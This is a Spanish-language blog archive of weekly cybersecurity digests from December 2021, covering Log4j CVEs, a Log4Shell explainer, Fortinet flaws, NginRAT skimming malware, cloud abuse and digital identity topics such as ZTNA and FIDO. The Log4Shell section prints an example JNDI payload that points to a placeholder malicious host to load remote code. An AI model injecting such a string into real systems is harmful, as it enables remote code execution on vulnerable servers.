Archivo mensual: Diciembre 2021

Esta semana en ciberseguridad – Diciembre semana 3

Resumen de todos los CVE de Log4j

A continuación, les mostramos los CVE en el orden en que aparecieron así como las nuevas vulnerabilidades y actualizaciones, además del link de la fuente para conocer mas de cada una de estas vulnerabilidades.

  • CVE-2021-44228 [Crítico, 10.0]: la vulnerabilidad Log4Shell original es una falla de deserialización. Tiene un puntaje de 10 en la escala CVSS y otorga capacidades de ejecución remota de código (RCE) a atacantes no autenticados, lo que permite la toma de control completa del sistema.
  • CVE-2021-45046 [Crítico, anteriormente bajo, 9.0]: Este es un defecto de Denegación de Servicio (DoS) con un puntaje de 3.7 9.0. La falla surgió como resultado de una solución incompleta que entró en 2.15.0 para CVE-2021-44228. Si bien la corrección aplicada a 2.15.0 resolvió en gran medida la falla, ese no fue el caso para ciertas configuraciones no predeterminadas.
  • CVE-2021-4104 [Alto, 8.1]: Aunque anteriormente se pensaba que Log4j 1.x era seguro, ya no es así. Esencialmente, la configuración no predeterminada de las instancias de Log4j 1.x que utilizan la clase JMSAppender también se vuelve susceptible a la falla de deserialización que no es de confianza. Aunque no es fácil, el ataque no es imposible en v1.x. Por lo tanto, tiene sentido protegerse eliminando JMSAppender por completo de log4j-1.2.17.jar, con el siguiente comando: zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class
  • CVE-2021-42550 [Moderado, 6.6]: esta es una vulnerabilidad en el framework Logback, un sucesor de la biblioteca Log4j 1.x.
  • CVE-2021-45105 [Alto, 7.5]: Se descubrió que Log4j 2.16.0 era vulnerable a una falla DoS calificada como Alta. Desde entonces, Apache ha lanzado una versión log4j 2.17.0 que corrige el CVE.

Según Google: más de 35.000 paquetes de Java tienen defectos de Log4j

“Más de 35.000 paquetes de Java, que representan más del 8% del repositorio de Maven Central (el repositorio de paquetes de Java más importante), se han visto afectados por las vulnerabilidades Log4j reveladas recientemente.”

explican James Wetter y Nicky Ringland del Open Source Insights Team de Google


Según Google, la gran mayoría de los paquetes Java vulnerables en Maven Central toman prestado Log4j “indirectamente”, es decir, Log4j es una dependencia utilizada por el paquete, un concepto también conocido como dependencias transitivas.

De los 35.863 paquetes identificados por Google, solo alrededor de 7.000 tomaron prestado Log4j directamente, lo que indica que no todos los desarrolladores pueden tener una visibilidad adecuada de su software.

“La falta de visibilidad del usuario sobre sus dependencias y las dependencias transitivas ha dificultado la aplicación de parches; también ha dificultado la determinación del radio de alcance completo de esta vulnerabilidad”.

explica Google.

Al observar el historial de vulnerabilidades críticas reveladas públicamente que afectan a los paquetes de Maven, y el hecho de que menos del 48% de estos paquetes tenían una solución para estos, los investigadores de Google predicen “una larga espera, probablemente años” antes de que las fallas de Log4j se eliminen por completo de todo Java. paquetes.

FUENTE: https://blog.segu-info.com.ar/2021/12/resumen-de-todos-los-cve-de-log4j.html

Aumento en ciberataques y el daño ocasionado este 2021

Los últimos años se ha visto un número cada vez mayor de ataques cibernéticos, y aunque la frecuencia de tales ataques ha aumentado, también lo ha hecho el daño resultante. Uno solo necesita mirar La lista de incidentes cibernéticos significativos de CISA para apreciar la magnitud del problema.

En mayo de 2021, por ejemplo, un ataque de ransomware derribó el oleoducto colonial, causando una grave interrupción del combustible en gran parte de los Estados Unidos.
El mes pasado, un grupo de hackers obtuvo acceso a registros de llamadas y mensajes de texto de operadores de telecomunicaciones de todo el mundo. Estos son solo dos de las docenas de ataques cibernéticos que ocurren este año.

Debido a estos y otros incidentes de seguridad cibernética, el Departamento de Seguridad Nacional de EEUU emitió una directiva obligatoria a las agencias federales para proteger mejor los sistemas de información federales y los datos que contienen contra el ciberataque. Esta directiva se basa en Catálogo de vulnerabilidades de CISA que se sabe que representan un riesgo significativo. La directiva requiere que las entidades cubiertas actualicen sus procedimientos de seguridad cibernética y aborden las vulnerabilidades conocidas dentro de un período de tiempo específico.

Preparaciones de fin de año para CISA
El hecho de que el Gobierno Federal esté otorgando una prioridad tan alta a la seguridad cibernética es revelador, y vale la pena prestar atención a la directiva, incluso para las organizaciones del sector privado. Si las agencias federales apuntalan sus defensas cibernéticas de acuerdo con la nueva directiva, entonces al menos algunos ciberdelincuentes probablemente centrarán su atención en atacar objetivos del sector privado. Después de todo, es probable que algunas de las vulnerabilidades conocidas continúen existiendo en empresas privadas, incluso después de que esas vulnerabilidades se hayan abordado en sistemas pertenecientes al gobierno federal.

Al acercarse rápidamente el final del año, los profesionales de TI deberían poner la seguridad cibernética en la parte superior de sus resoluciones de Año Nuevo. Pero, ¿qué deberían hacer específicamente los profesionales de TI para prepararse para 2022??

CISA diferencia entre vulnerabilidades conocidas y vulnerabilidades que se sabe que han sido explotadas. Del mismo modo, los profesionales de TI en el sector privado deben centrar sus esfuerzos y sus recursos de seguridad en abordar las vulnerabilidades que se han explotado en el mundo real. Tales hazañas están bien documentadas y representan una gran amenaza para las organizaciones que no abordan tales vulnerabilidades.

Implemente parches de inmediato
Lo más importante que las organizaciones pueden hacer para garantizar que aborden las vulnerabilidades de seguridad conocidas es aplicar parches de seguridad a medida que estén disponibles. Muchos parches de seguridad están diseñados específicamente para abordar vulnerabilidades conocidas, algunas de las cuales ya han sido explotadas. Por ejemplo, La actualización de Microsoft Exchange Server abordó la vulnerabilidad de ProxyShell a principios de este año. ProxyShell fue el nombre dado a una vulnerabilidad grave de Exchange Server que permitió la ejecución remota de código. Una vez que la vulnerabilidad se hizo pública, los atacantes comenzaron a buscar activamente servidores de Exchange no enviados, a menudo instalando ransomware en los servidores que se encontraban.

No lo olvides las vacaciones pueden aumentar el riesgo de ataque cibernético de su organización, por lo que aunque puede aparecer un parche en un momento inoportuno, es importante avanzar de inmediato ya que los hackers informáticos esperan fallas en su red de seguridad en esta época del año.

Por importante que sea la administración de parches, la instalación de los parches de seguridad disponibles es solo un ejemplo de los tipos de cosas que los profesionales de TI deben hacer para abordar las vulnerabilidades de seguridad conocidas.

Evite las contraseñas incumplidas en su red
Otra contramedida que es casi tan importante pero ampliamente pasada por alto es la de evitar que los usuarios usen contraseñas que se sabe que han sido comprometidas.

Los hackers mantienen bases de datos web oscuras masivas de contraseñas que se han descifrado como parte de varias hazañas. La razón por la cual esto es un problema es porque los usuarios a menudo usan sus contraseñas de trabajo en varios sitios web para minimizar la cantidad de contraseñas que deben recordar. Si se ha descifrado una contraseña, significa que hay una tabla que coincide con esa contraseña con su hash. Esto hace posible que un atacante reconozca cuándo se ha usado esa contraseña en otro lugar. Es por eso que es tan importante evitar que los usuarios usen cualquier contraseña que se sepa que está comprometida.

Emplear políticas de contraseña. Existen bases de datos que contienen miles de millones de contraseñas comprometidas para asegurar que esas contraseñas no se utilicen en su red.

Cree políticas de contraseña basadas en los estándares establecidos por NIST, SANS y otros. El uso de estas plantillas facilita garantizar que las contraseñas utilizadas en toda su organización se adhieran a los mismos estándares NIST a los que se adhiere el gobierno federal.

FUENTE: https://thehackernews.com/2021/12/how-to-see-if-cybersecurity-of-your.html

Avanzando a la Identidad Digital – ZTNA

Hoy comenzaremos a hablaremos de ZTNA (Zero Trust Network Access), que si bien habla de un modelo de seguridad de acceso a recursos, obviamente incluye la identificación de quien accede a dichos recursos. Por lo que, lo incluimos como parte íntegra de la identidad Digital.

Pero a que nos referimos cuando hablamos de ZTNA?
Netskope, nos comenta sobre la definición del Modelo de Seguridad basado en confianza cero.

La definición de confianza cero es un modelo de seguridad basado en la premisa de que no se confía ciegamente en nadie ni se le permite acceder a los activos de la empresa hasta que se haya validado como legítimo y autorizado. Es compatible con la implementación del acceso con menos privilegios, que se designa para conceder acceso de manera selectiva única y exclusivamente a aquellos recursos que necesitan los usuarios o grupos de usuarios. Además, las personas que obtienen acceso a la red, a los datos y a otros recursos deben autenticar continuamente su identidad.

La adopción del modelo de confianza cero se ha acelerado en respuesta al rápido aumento de los trabajadores móviles y teletrabajadores, la tendencia de usar dispositivos personales (BYOD), el Shadow IT y el auge de los servicios en la nube. Mientras que estas tendencias beneficiaban a los usuarios e incorporaban nuevos niveles de flexibilidad a las tecnologías informáticas, también reducían la capacidad de la organización de controlar y proteger el acceso a los datos y los recursos de red. El modelo de confianza cero devuelve este control y endurece las medidas de seguridad ante el proceso de disolución del perímetro de la red.

Piense en su infraestructura de red y datos como si fuese un edificio lleno de habitaciones con puertas cerradas y cada cerradura con su propia llave individual, donde solo se permite a los usuarios el acceso a la habitación donde se encuentran los recursos que necesitan y nada más. Eso es la confianza cero en pocas palabras.

En las referencias, les dejo un enlace donde pueden ver un poco mas de historia, principios y hacia donde nos dirigimos con este modelo.

REFERENCIAS: (1) https://www.netskope.com/es/security-defined/what-is-zero-trust

Esta semana en ciberseguridad – Diciembre semana 2

Log4Shell: vulnerabilidad crítica con exploit para #Log4j

Que es?
El jueves (9 de diciembre), se descubrió un exploit de día 0 en la popular biblioteca de registro de Java log4j (versión 2) que da como resultado la ejecución remota de código (RCE) al registrar una determinada cadena

Dado lo ubicuo que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, el impacto de esta vulnerabilidad es bastante grave. Lo llamamos “Log4Shell” para abreviar.

El exploit de día 0 se tuiteó junto con un POC publicado en GitHub. Ahora se ha publicado como CVE-2021-44228.

Esta publicación proporciona recursos para ayudarlo a comprender la vulnerabilidad y cómo mitigarla.

Publicado originalmente el 9 de diciembre y actualizado por última vez el 13 de diciembre a las 1:32 am PST

Esta publicación de blog también está disponible en https://log4shell.com/

¿Quién se ve afectado?
Muchos, muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como Steam, Apple iCloud y aplicaciones como Minecraft son vulnerables.

Aquí se ha compilado una lista extensa de respuestas de las organizaciones afectadas.

Cualquiera que use Apache Struts probablemente sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.

Muchos proyectos de código abierto como el servidor de Minecraft, Paper, ya han comenzado a parchear el uso de log4j2.

Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.

Actualizaciones (3 horas después de la publicación): según esta publicación de blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en falso, lo que significa que JNDI no puede cargar código remoto utilizando LDAP.

Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación de blog se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.

Mitigación permanente
La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8).
Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class

Mitigación temporal
Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;

La empresa de ciberseguridad Cybereason lanzó un script o “vacuna” que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.

La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.

Cómo funciona el exploit
Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.

  • El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: ${jndi:ldap://sitio-malicioso.com/exp}
  • El servidor vulnerable recibe la solicitud con el payload.
  • La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
  • La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
  • Se ejecuta código en el servidor vulnerable.

Aquí se puede ver un ejemplo de una aplicación vulnerable.

FUENTES:
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://blog.segu-info.com.ar/2021/12/log4shell-vulnerabilidad-critica-con.html
(3) https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

3 Vulnerabilidades en productos Fortinet

Se han reportado de tres vulnerabilidades en productos Fortinet, una de ellas consideradas como crítica. Según el reporte, la operación exitosa de las fallas permitiría la Ejecución Remota de Código (RCE).

A continuación se presentan breves descripciones de las fallas reportadas, además de los puntajes asignados según el Common Vulnerability Scoring System (CVSS).

  • CVE-2021-26109: un desbordamiento de enteros en la interfaz de FortiGate FortiOS SSL VPN permitiría a los actores de amenazas no autenticados enviar solicitudes HTTP especialmente diseñadas con el fin de ejecutar código arbitrario en el sistema afectado.
    Esta es una falla crítica y recibió un puntaje CVSS de 8.5/10 ya que su explotación exitosa permitiría el compromiso total de los sistemas expuestos. La falla reside en las siguientes versiones de FortiOS 6.0.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+.
  • CVE-2021-26110: las restricciones de acceso incorrectas en el daemon autod de FortiOS y FortiProxy permitirían a los usuarios locales evadir las restricciones de seguridad en los sistemas afectados y realizar escalamiento de privilegios en los sistemas al nivel uper_admin.
    La vulnerabilidad recibió un puntaje CVSS de 7.7/10 y es considerada de baja severidad. Esta falla afecta a FortiOS 5.6.0 y superiores así como a FortiProxy 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.
  • CVE-2021-26103: una validación insuficiente del origen de la solicitud HTTP en la interfaz SSL VPN de FortiOS y FortiProxy permitiría a los actores de amenazas remotos redirigir a un usuario objetivo a un sitio web malicioso para realizar acciones arbitrarias en el sistema afectado.
    La falla recibió un puntaje CVSS de 5.3/10 y reside en las versiones 5.6.0 y superiores y en FortiProxy: 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.7+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.

Si bien no se han detectado intentos de explotación activa, debemos recordar que estas fallas pueden ser explotadas por actores de amenazas remotos, por lo que lo más recomendable es instalar las actualizaciones disponibles lo antes posible.

FUENTE: https://www.hkcert.org/security-bulletin/fortinet-fortios-multiple-vulnerabilities_20211208 y https://blog.segu-info.com.ar/2021/12/vulnerabilidad-en-ejecucion-remota-de.html

Avanzando a la Identidad Digital

Las últimas semanas hemos estado comentando acerca de los avances en la identidad digital y cómo esta afecta a los negocios, tanto en el acceso de los usuarios internos, como de sus clientes.

Hoy profundizaremos en un protocolo denominado FIDOFast Identity Online, que puede ayudar a acelerar el proceso de autenticación.

La autenticación de identidad rápida en línea (FIDO) es un conjunto de especificaciones técnicas abiertas que definen los mecanismos de autenticación del usuario que reducen la dependencia de las contraseñas. Hasta la fecha, la Alianza FIDO publicó tres conjuntos de especificaciones:

  1. FIDO Universal Second Factor (FIDO U2F) proporciona un medio estándar para conectar un autenticador de hardware de segundo factor. Los navegadores web utilizan principalmente esta interfaz para permitir que las aplicaciones web interactúen con el autenticador de hardware de un usuario. Con el lanzamiento de FIDO2, U2F ha sido renombrado como CTAP1.
  2. Los protocolos de cliente a autenticador (CTAP) permiten a los usuarios autenticarse en una aplicación web o nativa utilizando un autenticador incrustado en la computadora host o conectado a la computadora host. Similar a FIDO U2F, CTAP está diseñado para proporcionar una interfaz estandarizada a un autenticador de hardware.
  3. FIDO Universal Authentication Framework (FIDO UAF) define un marco para que los usuarios registren su dispositivo (es decir,. portátil, escritorio, móvil) al servicio en línea y seleccione uno de los mecanismos de autenticación locales disponibles en el dispositivo para autenticar a su usuario. El servicio en línea puede seleccionar qué mecanismo de autenticación disponible localmente aceptará. Por ejemplo, los usuarios pueden registrar su dispositivo móvil y seleccionar su sensor de huellas digitales incorporado como el medio de autenticación local utilizado para autenticarlos en el servicio en línea. Otros mecanismos de autenticación comunes incluyen mirar la cámara, hablar por micrófono o ingresar un PIN. Una vez registrados y aceptados por el servicio en línea, los usuarios pueden autenticarse en el servicio en línea utilizando la acción de autenticación local registrada en lugar de usar las opciones de nombre de usuario y contraseña más tradicionales.

Los protocolos FIDO están diseñados desde cero para proteger la privacidad del usuario. Los protocolos no revelan datos confidenciales de usuarios que puedan ser utilizados por diferentes servicios en línea para colaborar y rastrear a un usuario en todos los servicios. Otros datos confidenciales como impresiones biométricas y PIN nunca abandonan el dispositivo del usuario para garantizar que un atacante no pueda interceptarlo o comprometerlo.

Para autenticar a un usuario, una aplicación, a menudo denominada parte de confianza, utiliza API del lado del cliente especificadas por FIDO para interactuar con el autenticador registrado de un usuario. Para las aplicaciones web, las API del lado del cliente incluyen WebAuthn implementado por el navegador web, que a su vez llama a FIDO CTAP para acceder al autenticador.

Para autenticar a un usuario, la parte que confía pasa un desafío criptográfico al autenticador registrado y evalúa la respuesta para determinar la autenticidad de los secretos almacenados en el dispositivo cliente y utilizados para producir la respuesta.

En si, FIDO utiliza criptografía asimétrica para garantizar que todos los secretos sensibles y el material clave criptográfico permanezcan en el dispositivo del cliente en todo momento y no se transmitan al servicio de autenticación.

¿Cómo funciona la autenticación FIDO??
La autenticación FIDO requiere un paso de registro inicial. En los casos en que el dispositivo de usuario admite múltiples formas de autenticación (p. Ej. escáner de huellas digitales, grabador de huellas dactilares, identificación facial, etc.), se le pide al usuario que elija un autenticador compatible con FIDO entre las opciones disponibles en el dispositivo que coincida con la política de aceptación de la aplicación de autenticación. Luego, el usuario desbloquea el autenticador FIDO utilizando cualquier mecanismo integrado en el autenticador, proporcionando una huella digital, presionando un botón en un dispositivo de segundo factor o ingresando PIN

Una vez que se desbloquea el autenticador, el dispositivo del usuario crea un nuevo y único par de claves criptográficas públicas / privadas que se utilizará para autenticar el acceso. La clave pública se envía al servicio en línea y se asocia con la cuenta del usuario. La clave privada y todos los demás datos confidenciales relacionados con el método de autenticación elegido, por ejemplo, impresiones biométricas, permanecen en el dispositivo local y nunca lo dejan.

La autenticación requiere que el dispositivo del cliente demuestre la posesión de la clave privada para el servicio de autenticación respondiendo con éxito a un desafío criptográfico. La clave privada solo se puede usar después de autenticarse con éxito utilizando el autenticador registrado, por ejemplo, deslizando un dedo sobre el sensor de huellas digitales, ingresando un PIN, hablando en un micrófono, insertando un segundo dispositivo de factor, presionando un botón, etc. Luego, el dispositivo utiliza el identificador de cuenta de usuario proporcionado por el servicio para seleccionar la clave correcta y firmar criptográficamente el desafío del servicio. El desafío firmado se envía de vuelta al servicio, que lo verifica con la clave pública almacenada y los registros en el usuario.

Referencias: (1) https://fidoalliance.org
(2) https://www.transmitsecurity.com/blog/fido-passwordless-trust-but-verify-then-verify-again

Esta semana en ciberseguridad – Diciembre semana 1

Ojo con los servicios de Nginx que están siendo utilizado para el robo de datos de pago en los e-commerce.

Las plataformas de comercio electrónico en los EE. UU., Alemania y Francia han sido atacadas por una nueva forma de malware que apunta a los servidores Nginx en un intento de enmascarar su presencia y pasar la detección por soluciones de seguridad.

“Este nuevo código se inyecta en una aplicación Nginx host y es casi invisible”, “El parásito se usa para robar datos de servidores de comercio electrónico, también conocidos como ‘server-side Magecart ‘.”

dijo el equipo de Sansec Threat Research

Nginx es un servidor web libre de código abierto que también se puede usar como proxy inverso, balanceo de carga, proxy de correo y caché HTTP.
NginRAT, como se llama el malware avanzado, funciona secuestrando una aplicación Nginx de host para integrarse en el proceso del servidor web.

El troyano de acceso remoto se entrega a través de CronRAT, otra pieza de malware que la firma holandesa de ciberseguridad reveló la semana pasada. CronRAT se oculta en las cargas de trabajo que son ejecutados a través de tareas programadas y ser ejecutadas el 31 de febrero, un día calendario inexistente.

Tanto CronRAT como NginRAT están diseñados para proveer una forma remota de ser ejecutados en los servidores comprometidos, y el objetivo de las intrusiones es realizar modificaciones del lado del servidor a los sitios web de comercio electrónico comprometidos de manera de permitir la exfiltración de datos mediante skimming del formulario de pago en línea.

Los ataques, conocidos colectivamente como Magecart o web skimming, son el trabajo de un sindicato de delitos cibernéticos compuesto por docenas de subgrupos que están involucrados en el robo de tarjetas de crédito digitales mediante la explotación de vulnerabilidades de software para obtener acceso al código fuente de un portal en línea e insertar código JavaScript malicioso que extrae los compradores de datos en las páginas de pago.

“Los grupos Skimmer están creciendo rápidamente y apuntan a varias plataformas de comercio electrónico utilizando una variedad de formas de permanecer sin ser detectados”.
“Las últimas técnicas incluyen comprometer versiones vulnerables de plataformas de comercio electrónico, alojar scripts skimmer CDNs y servicios en la nube, y el uso de dominios recientemente registrados (NRD) léxicamente cercanos a cualquier servicio web legítimo o tienda de comercio electrónico específica para alojar scripts de skimmer maliciosos.”

según investigadores de Zscaler, en un análisis de las últimas tendencias de Magecart publicadas a principios de este año.

FUENTE: https://thehackernews.com/2021/12/new-payment-data-sealing-malware-hides.html

Aprovechan GCP (Google Cloud platform) para minar criptomonedas e infectar usuarios

Los actores de amenazas están explotando instancias de Google Cloud Platform (GCP) con seguridad inadecuada para descargar software de minería de criptomonedas en los sistemas comprometidos, además de abusar de su infraestructura para instalar ransomware, organizar campañas de phishing e incluso generar tráfico a videos de YouTube para manipular el recuento de vistas.

“Si bien los clientes de la nube continúan enfrentándose a una variedad de amenazas en las aplicaciones y la infraestructura, muchos ataques exitosos se deben a una falta de higiene y una falta de implementación de controles básicos”.

señaló el Equipo de Acción de Ciberseguridad (CAT) de Google como parte de su reciente informe Threat Horizons publicado la semana pasada.

De las 50 instancias de GCP comprometidas recientemente, el 86% de ellas se utilizaron para realizar minería de criptomonedas, mientras que el 10% de las instancias se explotaron para realizar escaneos de otros hosts de acceso público en Internet para identificar sistemas vulnerables, y el 8% de las instancias se utilizaron para atacar a otras entidades. Aproximadamente el 6% de las instancias de GCP se utilizaron para alojar software malicioso.

En la mayoría de los casos, el acceso no autorizado se atribuyó al uso de contraseñas débiles o nulas para cuentas de usuario o conexiones API (48%), vulnerabilidades en software de terceros instalado en las instancias en la nube (26%) y fuga de credenciales en proyectos de GitHub (4%).

Otro ataque notable fue una campaña de phishing de Gmail lanzada por APT28 (también conocido como Fancy Bear) hacia fines de septiembre de 2021 que implicó el envío de un correo electrónico masivo a más de 12.000 titulares de cuentas principalmente en los EE.UU., Reino Unido, India, Canadá, Rusia y Brasil con el objetivo de robar sus credenciales.

Además, Google CAT dijo que observó a los adversarios abusando de los créditos gratuitos de la nube mediante el uso de proyectos de prueba y haciéndose pasar por startups falsas para generar tráfico en YouTube.

En otro incidente, un grupo de atacantes respaldado por el gobierno de Corea del Norte se hizo pasar por reclutadores de Samsung para enviar oportunidades de trabajo falsas a los empleados de varias empresas de seguridad de Corea del Sur que venden soluciones antimalware.

“Los correos electrónicos incluían un PDF que supuestamente afirmaba ser una descripción de trabajo para un puesto en Samsung; sin embargo, los PDF tenían un formato incorrecto y no se abrían en un lector de PDF estándar”, “Cuando los objetivos respondieron que no podían abrir la descripción del trabajo, los atacantes respondieron con un enlace malicioso a malware que pretendía ser un ‘lector de PDF seguro’ almacenado en Google Drive que ahora ha sido bloqueado”.

dijeron los investigadores.

Google conectó los ataques al mismo actor de amenazas que previamente puso su mirada en los profesionales de seguridad que trabajaban en investigación y desarrollo de vulnerabilidades a principios de este año para robar exploits y organizar más ataques contra objetivos vulnerables de su elección.

Si bien los recursos alojados en la nube agilizan las operaciones de la fuerza laboral, los delincuentes pueden intentar aprovechar la naturaleza omnipresente de la nube para comprometer los recursos de la nube. A pesar de la creciente atención pública a la ciberseguridad, las tácticas de ingeniería social y el spear-phishing suelen tener éxito.

FUENTE: https://blog.segu-info.com.ar/2021/11/aprovechan-google-cloud-para-minar.html

Avanzando a la Identidad Digital

La semana pasada hicimos una pequeña introducción sobre identidad digital y algunas siglas que aparecen al referirnos a este tema, tales como IAM (identity and access management). Hoy trataremos de profundizar en algunos algunos conceptos basandonos en el Gartner Hyper Cycle para Identity and Access Management Technologies.

Cuando hablamos de acceso, normalmente hablamos de preguntar una de 3 opciones: algo que yo sé, algo que yo tengo o algo que yo soy. Estas 3 preguntas hacen referencias a usuario y password, que es algo que yo sé. un token o soft-token que es algo que yo tengo y finalmente la biometría que es algo que yo soy.

Con el paso del tiempo, nos hemos dado cuenta que un password no es tan útil y requiere de administración ya que al incluir un password simple, este es fácilmente descifrable, por lo que hoy hablamos de administradores de password (bóvedas de seguridad, donde guardo los password) o múltiples factores de autenticación (2FA/MFA).

Si vemos el esquema dado por Gartner en su hyper cycle, el cual nos presenta distintas tecnologias agrupadas por la expectativas que producen y el tiempo asociado a la asimilación de estas tecnologias por el mercado (*1 – les dejo un link donde se puede entender mas de este modelo de Gartner), podemos ver que en la meseta de productividad (al lado derecho de gráfico) encontramos las soluciones del tipo PAM (Privileged Access Management), soluciones orientadas al manejo de credenciales de plataformas criticas y de usuarios administradores. @Makros recomienda Thycotic/Centrify (*2) como solución de PAM. Los invito a conoce un poco mas de PAM en el link 2 de referencias.

Luego, ya dentro de los productos maduro podemos ver distintas tecnologias asociadas al uso de tokens por Hardware o autenticaciones biométricas. El uso de las autenticaciones por token o vía software (soft-token) es ampliamente difundido en la Banca donde para poder acceder a hacer transferencias debemos hacer uso de algo que tengo (tarjeta de coordenadas, distintos tipos de token, u hoy en día, nuestros propios dispositivos móviles. En general, @Makros no recomienda el uso de mensajes de texto como autenticador, ya que este no refleja ninguna de las 3 preguntas anteriores, el recibir un mensaje no asegura la fuente del mensaje, por lo que no hablamos de algo que yo tengo, sino algo que recibí.

Cuando comenzamos a hablar de la autenticación de nuestros clientes, se abre un mundo particular y se produce una diferencia en las tecnologias. Cuando hablamos de IAM, normalmente hablamos del acceso a nuestras plataformas (@Makros recomienda ver securenvoy *3), por parte de nuestros usuarios. Cuando hablamos de PAM, hablamos del acceso a plataformas pero por parte de nuestros usuarios administradores, pero cuando hablamos del acceso de nuestros clientes a nuestras plataformas (por ejemplo para hacer transacciones) empezamos a hablar de CIAM (customer identity and Access Managment). Acá, la seguridad del acceso empieza a mezclarse con la capacidad de permitirle a nuestros clientes el acceso en forma fácil y expedita a nuestro recursos y comenzamos a hablar de fricción y de experiencia del usuario.

A quien no le ha pasado, que necesita hacer una transferencia rápida o comprar algo que esta en oferta solo por 5 minutos y necesito crear una cuenta y para esto me pide una password que debe tener x caracteres, mas números, mas mayusculas, mas símbolos y que uno normalmente se equivoca al ingresar y luego por nuestro error, nos manda a la validación donde sale una imagen y nos dices cuales son los semáforos o bicicletas … lo que normalmente nunca podemos identificar claramente y luego de una proeza épica, nos logramos autenticar, pero ya han pasado los 5 minutos de la oferta y el producto que querías comprar esta a precio normal.. cuando hablamos de fricción hablamos justamente de eso.

En este sentido @Makros te recomienda ver tecnologías como @transmitsecurity (*4) enfocada en el acceso sin fricción. Para comenzar a hablar del concepto de Passwordless, es decir, poder acceder a plataformas sin la necesidad de ingresar un password. Este tipo de conceptos comienzan a suponer el uso de protocolos distintos como es el caso de FIDO que podemos ver en el hyper cycle mas al centro, llegando al pick de las expectativas. De esto hablaremos en el próximo “esta semana en ciberseguridad…”

Referencias:
(1) https://www.gartner.es/es/metodologias/hype-cycle
(2) https://thycotic.com/resources/privileged-access-management/
(3) https://securenvoy.com/identity-access-management/
(4) https://www.transmitsecurity.com/why-transmit